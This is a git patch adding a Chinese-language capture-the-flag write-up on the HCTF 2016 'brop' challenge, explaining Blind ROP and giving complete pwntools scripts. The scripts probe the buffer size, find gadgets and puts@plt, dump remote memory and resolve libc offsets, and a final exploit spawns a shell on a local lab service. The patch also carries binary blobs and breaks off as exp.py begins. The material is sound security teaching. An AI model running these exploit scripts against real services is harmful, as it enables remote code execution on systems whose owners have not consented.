From bcd42d7ef1ba38d757c271361613cf5fabec90f8 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 12 Nov 2017 15:35:17 +0800 Subject: [PATCH] finish 6.1 --- doc/4.7_common_gadget.md | 21 +- doc/6.1_pwn_hctf2016_brop.md | 547 ++++++++++++++++++++- src/writeup/6.1_pwn_hctf2016_brop/a.out | Bin 0 -> 8632 bytes src/writeup/6.1_pwn_hctf2016_brop/code.bin | Bin 0 -> 4096 bytes src/writeup/6.1_pwn_hctf2016_brop/exp.py | 217 ++++++++ src/writeup/6.1_pwn_hctf2016_brop/main.c | 21 + src/writeup/6.1_pwn_hctf2016_brop/run.sh | 7 + src/writeup/init.md | 0 8 files changed, 810 insertions(+), 3 deletions(-) create mode 100755 src/writeup/6.1_pwn_hctf2016_brop/a.out create mode 100644 src/writeup/6.1_pwn_hctf2016_brop/code.bin create mode 100644 src/writeup/6.1_pwn_hctf2016_brop/exp.py create mode 100755 src/writeup/6.1_pwn_hctf2016_brop/main.c create mode 100755 src/writeup/6.1_pwn_hctf2016_brop/run.sh delete mode 100644 src/writeup/init.md diff --git a/doc/4.7_common_gadget.md b/doc/4.7_common_gadget.md index 378c824..3bc676d 100644 --- a/doc/4.7_common_gadget.md +++ b/doc/4.7_common_gadget.md @@ -6,8 +6,8 @@ 函数 `__libc_csu_init()` 用于对 libc 进行初始化,只要程序调用了 libc,就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下: ``` -$ file /usr/lib32/libc-2.26.so -/usr/lib32/libc-2.26.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped +$ file /usr/lib/libc-2.26.so +/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped ``` 下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 `/r` 参数可以打印出原始指令的十六进制: ``` @@ -89,6 +89,21 @@ pop r15 #rdx ret #跳转到part2 ``` +下面附上一个可直接调用的函数: +```python +def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0): + payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret + payload += p64(0x0) # rbx be 0x0 + payload += p64(0x1) # rbp be 0x1 + payload += p64(jmp2) # r12 jump to + payload += p64(arg1) # r13 -> edi arg1 + payload += p64(arg2) # r14 -> rsi arg2 + payload += p64(arg3) # r15 -> rdx arg3 + payload += p64(part2) # part2 entry will call [r12+rbx*0x8] + payload += 'A' * 56 # junk 6*8+8=56 + return payload +``` + 上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget,比如将指定一个位移点再反编译: ``` gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835 @@ -107,6 +122,8 @@ End of assembler dump. ``` `5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码,于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。 +在 6.1 pwn hctf2016 brop 的exp中,我们使用了偏移后的 `pop rdi; ret`,而没有用 `com_gadget()` 函数,感兴趣的童鞋可以尝试使用它重写exp。 + 除了上面介绍的 `__libc_csu_init()`,还可以到下面的函数中找一找: ``` _init diff --git a/doc/6.1_pwn_hctf2016_brop.md b/doc/6.1_pwn_hctf2016_brop.md index 7e6da50..46f0df1 100644 --- a/doc/6.1_pwn_hctf2016_brop.md +++ b/doc/6.1_pwn_hctf2016_brop.md @@ -1,6 +1,13 @@ # 6.1 pwn hctf2016 brop -出题人在 github 上开源了代码,如下: +- [题目复现](#题目复现) +- [BROP 原理及题目解析](#brop-原理及题目解析) +- [Exploit](#exploit) +- [参考资料](#参考资料) + + +## 题目复现 +出题人在 github 上开源了代码,[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下: ```C #include #include @@ -48,3 +55,541 @@ while true; do fi done ``` +在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。(不停地断开重连特别耗CPU,建议在服务器上跑) + + +## BROP 原理和题目解析 +BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX和栈canaries的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。 + +实现这一攻击有两个必要条件: +1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它 +2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。 + +下面我们结合题目来讲一讲。 + +#### 栈溢出 +首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。 +```python +def get_buffer_size(): + for i in range(100): + payload = "A" + payload += "A"*i + buf_size = len(payload) - 1 + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.send(payload) + p.recv() + p.close() + log.info("bad: %d" % buf_size) + except EOFError as e: + p.close() + log.info("buffer size: %d" % buf_size) + return buf_size +``` +``` +[*] buffer size: 72 +``` +要注意的是,崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72。该题并没有开启canary,所以跳过爆破的过程。 + +#### stop gadget +在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了: +```python +def get_stop_addr(buf_size): + addr = 0x400000 + while True: + sleep(0.1) + addr += 1 + payload = "A"*buf_size + payload += p64(addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("stop address: 0x%x" % addr) + return addr + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 +``` +由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 `sleep(0.1)` 做一定的缓冲,如果还是冲突,在 `except` 进行处理,后面的代码也一样。 +``` +[*] stop address: 0x4005e5 +``` + +#### common gadget +有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget(有关该内容请参见章节4.7): +```python +def get_gadgets_addr(buf_size, stop_addr): + addr = stop_addr + while True: + sleep(0.1) + addr += 1 + payload = "A"*buf_size + payload += p64(addr) + payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("find address: 0x%x" % addr) + try: # check + payload = "A"*buf_size + payload += p64(addr) + payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("bad address: 0x%x" % addr) + except: + p.close() + log.info("gadget address: 0x%x" % addr) + return addr + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 +``` +直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。 +``` +[*] gadget address: 0x40082a +``` +有了通用 gadget,就可以得到 `pop rdi; ret` 的地址了,即 gadget address + 9。 + +#### puts@plt +plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。 + +这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便: +```python +def get_puts_plt(buf_size, stop_addr, gadgets_addr): + pop_rdi = gadgets_addr + 9 # pop rdi; ret; + addr = stop_addr + while True: + sleep(0.1) + addr += 1 + + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(0x400000) + payload += p64(addr) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + if p.recv().startswith("\x7fELF"): + log.info("puts@plt address: 0x%x" % addr) + p.close() + return addr + log.info("bad: 0x%x" % addr) + p.close() + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 +``` +这里让 puts 打印出 `0x400000` 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 `\x7fELF`,方便进行验证。 +``` +[*] puts@plt address: 0x4005e7 +``` +成功找到一个地址,它确实调用 puts,打印出了 `\x7fELF`,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。 +``` +gdb-peda$ disassemble /r 0x4005f0 +Dump of assembler code for function puts@plt: + 0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018 + 0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0 + 0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0 +End of assembler dump. +``` +不对呀,puts@plt 明明是在 `0x4005f0`,那么 `0x4005e7` 是什么鬼。 +``` +gdb-peda$ pdisass /r 0x4005e7,0x400600 +Dump of assembler code from 0x4005e7 to 0x400600: + 0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24 + 0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + 0x00000000004005f0 : ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018 + 0x00000000004005f6 : 68 00 00 00 00 push 0x0 + 0x00000000004005fb : e9 e0 ff ff ff jmp 0x4005e0 +End of assembler dump. +``` +原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 `0x4005e7`。 + +#### remote dump +有了 puts,有了 gadget,就可以着手 dump 程序了: +```python +def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): + pop_rdi = gadgets_addr + 9 # pop rdi; ret + + result = "" + while start_addr < end_addr: + #print result.encode('hex') + sleep(0.1) + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(start_addr) + payload += p64(puts_plt) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes + if data == "\n": + data = "\x00" + elif data[-1] == "\n": + data = data[:-1] + log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex'))) + result += data + start_addr += len(data) + p.close() + except: + log.info("Can't connect") + return result +``` +我们知道 puts 函数通过 `\x00` 进行截断,并且会在每一次输出末尾加上换行符 `\x0a`,所以有一些特殊情况需要做一些处理,比如单独的 `\x00`、`\x0a` 等,首先当然是先去掉末尾 puts 自动加上的 `\n`,然后如果 recv 到一个 `\n`,说明内存中是 `\x00`,如果 recv 到一个 `\n\n`,说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定,如果有 `\n\n`,它很可能在收到第一个 `\n` 时就返回了,加上参数可以让它全部接收完。 + +这里选择从 `0x400000` dump到 `0x401000`,足够了,你还可以 dump 下 data 段的数据,大概从 `0x600000` 开始。 + +#### puts@got +拿到 dump 下来的文件,使用 Radare2 打开,使用参数 `-B` 指定程序基地址,然后反汇编 `puts@plt` 的位置 `0x4005e7`,当然你要直接反汇编 `0x4005f0` 也行: +``` +$ r2 -B 0x400000 code.bin +[0x00400630]> pd 14 @ 0x4005e7 + :::: 0x004005e7 25240a2000 and eax, 0x200a24 + :::: 0x004005ec 0f1f4000 nop dword [rax] + :::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1 + :::: 0x004005f6 6800000000 push 0 + `====< 0x004005fb e9e0ffffff jmp 0x4005e0 + ::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1 + ::: 0x00400606 6801000000 push 1 ; 1 + `===< 0x0040060b e9d0ffffff jmp 0x4005e0 + :: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1 + :: 0x00400616 6802000000 push 2 ; 2 + `==< 0x0040061b e9c0ffffff jmp 0x4005e0 + : 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1 + : 0x00400626 6803000000 push 3 ; 3 + `=< 0x0040062b e9b0ffffff jmp 0x4005e0 +``` +于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。 + +#### attack +后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc,也就是目标机器上的 libc,通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址,构造 payload 就可以了。 + +```python +def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got): + pop_rdi = gadgets_addr + 9 + + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(puts_got) + payload += p64(puts_plt) + payload += p64(stop_addr) + + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + data = p.recvline() + data = u64(data[:-1] + '\x00\x00') + log.info("puts address: 0x%x" % data) + p.close() + + return data +``` +``` +[*] puts address: 0x7ffff7a90210 +``` + +这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了: +``` +$ ./add /usr/lib/libc-2.26.so +Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so) + -> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so + -> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols + -> Writing version info +``` +然后查询(ASLR 并不影响后 12 位的值): +``` +$ ./find puts 210 +/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570) +$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 +offset___libc_start_main_ret = 0x20f6a +offset_system = 0x0000000000042010 +offset_dup2 = 0x00000000000e8100 +offset_read = 0x00000000000e7820 +offset_write = 0x00000000000e78c0 +offset_str_bin_sh = 0x17aff5 +$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts +offset_puts = 0x000000000006f210 +``` + +```python +offset_puts = 0x000000000006f210 +offset_system = 0x0000000000042010 +offset_str_bin_sh = 0x17aff5 + +system_addr = (puts_addr - offset_puts) + offset_system +binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh + +# get shell +payload = "A"*buf_size +payload += p64(gadgets_addr + 9) # pop rdi; ret; +payload += p64(binsh_addr) +payload += p64(system_addr) +payload += p64(stop_addr) + +p = remote('127.0.0.1', 10001) +p.recvline() +p.sendline(payload) +p.interactive() +``` +Bingo!!! +``` +$ python2 exp.py +[+] Opening connection to 127.0.0.1 on port 10001: Done +[*] Switching to interactive mode +$ whoami +firmy +``` + + +## Expolit +完整的 exp 如下,其他文件放在了github相应文件夹中: +```python +from pwn import * + +#context.log_level = 'debug' + +def get_buffer_size(): + for i in range(100): + payload = "A" + payload += "A"*i + buf_size = len(payload) - 1 + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.send(payload) + p.recv() + p.close() + log.info("bad: %d" % buf_size) + except EOFError as e: + p.close() + log.info("buffer size: %d" % buf_size) + return buf_size + +def get_stop_addr(buf_size): + addr = 0x400000 + while True: + sleep(0.1) + addr += 1 + payload = "A"*buf_size + payload += p64(addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("stop address: 0x%x" % addr) + return addr + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 + +def get_gadgets_addr(buf_size, stop_addr): + addr = stop_addr + while True: + sleep(0.1) + addr += 1 + payload = "A"*buf_size + payload += p64(addr) + payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("find address: 0x%x" % addr) + try: # check + payload = "A"*buf_size + payload += p64(addr) + payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("bad address: 0x%x" % addr) + except: + p.close() + log.info("gadget address: 0x%x" % addr) + return addr + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 + +def get_puts_plt(buf_size, stop_addr, gadgets_addr): + pop_rdi = gadgets_addr + 9 # pop rdi; ret; + addr = stop_addr + while True: + sleep(0.1) + addr += 1 + + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(0x400000) + payload += p64(addr) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + if p.recv().startswith("\x7fELF"): + log.info("puts@plt address: 0x%x" % addr) + p.close() + return addr + log.info("bad: 0x%x" % addr) + p.close() + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 + +def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): + pop_rdi = gadgets_addr + 9 # pop rdi; ret + + result = "" + while start_addr < end_addr: + #print result.encode('hex') + sleep(0.1) + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(start_addr) + payload += p64(puts_plt) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes + if data == "\n": + data = "\x00" + elif data[-1] == "\n": + data = data[:-1] + log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex'))) + result += data + start_addr += len(data) + p.close() + except: + log.info("Can't connect") + return result + +def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got): + pop_rdi = gadgets_addr + 9 + + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(puts_got) + payload += p64(puts_plt) + payload += p64(stop_addr) + + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + data = p.recvline() + data = u64(data[:-1] + '\x00\x00') + log.info("puts address: 0x%x" % data) + p.close() + + return data + +#buf_size = get_buffer_size() +buf_size = 72 + +#stop_addr = get_stop_addr(buf_size) +stop_addr = 0x4005e5 + +#gadgets_addr = get_gadgets_addr(buf_size, stop_addr) +gadgets_addr = 0x40082a + +#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr) +puts_plt = 0x4005e7 # fake puts +#puts_plt = 0x4005f0 # true puts + +# dump code section from memory +# and then use Radare2 or IDA Pro to find the got address +#start_addr = 0x400000 +#end_addr = 0x401000 +#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr) +#with open('code.bin', 'wb') as f: +# f.write(code_bin) +# f.close() +puts_got = 0x00601018 + +# you can also dump data from memory and get information from .got +#start_addr = 0x600000 +#end_addr = 0x602000 +#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr) +#with open('data.bin', 'wb') as f: +# f.write(data_bin) +# f.close() + +# must close ASLR +#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got) +puts_addr = 0x7ffff7a90210 + +# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so +# $ ./find puts 0x7ffff7a90210 +# or $ ./find puts 210 +# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 +# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts +# then you can get the following offset +offset_puts = 0x000000000006f210 +offset_system = 0x0000000000042010 +offset_str_bin_sh = 0x17aff5 + +system_addr = (puts_addr - offset_puts) + offset_system +binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh + +# get shell +payload = "A"*buf_size +payload += p64(gadgets_addr + 9) # pop rdi; ret; +payload += p64(binsh_addr) +payload += p64(system_addr) +payload += p64(stop_addr) + +p = remote('127.0.0.1', 10001) +p.recvline() +p.sendline(payload) +p.interactive() +``` + + +## 参考资料 +- [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/) +- [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/) diff --git a/src/writeup/6.1_pwn_hctf2016_brop/a.out b/src/writeup/6.1_pwn_hctf2016_brop/a.out new file mode 100755 index 0000000000000000000000000000000000000000..c99aef9be49ba30346dc76ad69ed1e26ff42192f GIT binary patch literal 8632 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 B%Gv+` literal 0 HcmV?d00001 diff --git a/src/writeup/6.1_pwn_hctf2016_brop/code.bin b/src/writeup/6.1_pwn_hctf2016_brop/code.bin new file mode 100644 index 0000000000000000000000000000000000000000..7ffce71f28eb1ea8f0f1f2f4a8e733de569828be GIT binary patch literal 4096 zcmeHKU2GIp6h1rsTPREyLZP;hP6&-fX(@koNd;!wEzDve1-FtY%XZ7|!piPW-JiCo ziPcJz1xk4&KIw}w#s?DBpp;%>=aiW{Vkc_|9OsD%6!W9G(dFaue3FV9=_&zu*nJMkm!y3%9isLP z9_WTsB^q@LpJy6?K+*32_M<%it+=@3K|bC>b#e0i1@h^_##pqgaqGrds4f;wWcup* z+>LdOTkBIs{bn|Aich|K_II$6XuU;gDd!b<5l8mVu6=Xm@SA&wt3DspKA!w3=DB~M znrw^k66*#I1^OK>i8#K*uzt%Yy0gpVw<4#QK8Y5M=7S2;(hsJ`1K3$D;MCO zTYzs^fPW2n1+V$ikAyOxM7;{HWl#Z~u1;nZ`-|#JeD^$lE$92^@qp`fl$NIvx-;n% zq|%{i0+Qiih?+(wO%P5dAr(${Wg@60kH)(p5TJg6R63YU2jW5OvZu}4+!EMazqx)J z1iZd|0qhk%7EPtYN#DMfn2`wkf?csN_B<9h61-=?a(%2LO-q{n&1ux4^`{?z*sqz& zC~g4>yvz#leOV`K(cULNArm&*NgowJ^W0OtPop{<~ zLMr%r(3s*mAe&<2Y0nF(wejK^CtHJ!w?FUtz)h!qrl@?e0{W?3S~AD=fiIn-U~XHB zlv%S5?`730wn#rtp{6EGl$uJ?sdQ80OkYkqr8t#i`eM>4wW&{0-*n5Hy?#W`{;UuD zGTrX;j^$K5ne?%d@e+cuN(8ffaFGIc%c?y99T#=XSl_|!*~#=OOtKTLlw_&@3eo07 zSvB}aBh3FYF&+Bbzw-|I$V`Eroz_S4yL87@{rXIL4Mu3>5tfMv*!f*d5ikzTGEy(} z{v98nFJxAA=-J790%vfwXc!p>Ibwcy=J}JGf2s%lsD(qlfX-EE$USZ6 zE?L|bJNF@RLp$zcxBO{rU!(x}8oZs#Wn{DzVZrm=X!&gkYD-D$5`O+sHuS(vRUc~2 zU83Vu&tAR4LikzW)|@`H?KTpW)5}PGg|o2cuN~4}@@Bu&Iy7I~P|eC>1&cXUNBE+a zedx{JYg<3b_R7e^0<-*H39ZDfboHhm%BuTmgtqKoZP|OC>>rxB;)Xsj>d?3UnE93V z(kp)Lu;$l}Xo1o5bM?J5idoR!W4n!>L2Gv(3ddTEcvy*_R3gb}I1$?5F_e==Mmdo% zdX?^AD%EQwL%RUkgppQ4nRqw(#=~(Vc@p*;vo0IZt{e--!;~FBFcs@L5pN2nLQTO~ zDuOK|9E~^iCVHA;NG5thu~*3$iJbsPRY8**`_OYz_|P<|LOw(v;!dpECx~AlevNn+ z@g`yjSAHul2mL>hI9@*pjy{*8YDtOnyraZLJpI``_}es}B?m5#_Xk*qcJl8-|90|~ zUAyIqy=A4n&VJZc+4Rhob#!Di9}nVb%XqA_TE3>NFMd!S^WtR`i*CO2quZL_SPANn`T zPIk^xJ!&zI{hXrEPvl7jo>bufQ2`hJPm@d(TSzYeBm$RMDqJg4S&M%*fro#GJjLze z`-$FDN${v*GW)s6zn8=dy0HH_V;bamK~f23zv=P?mM-3Hu1S`TE==CzSjw@2V>w3w zv+q*)Izb}NGE18~-|2mfWR(SQoX=PAxk8m$MBX29Kk+Uo#>eB5&F6jYkAEXf7xkRx O`a9gt!~AC;*7YB)-UwR& literal 0 HcmV?d00001 diff --git a/src/writeup/6.1_pwn_hctf2016_brop/exp.py b/src/writeup/6.1_pwn_hctf2016_brop/exp.py new file mode 100644 index 0000000..0f7842c --- /dev/null +++ 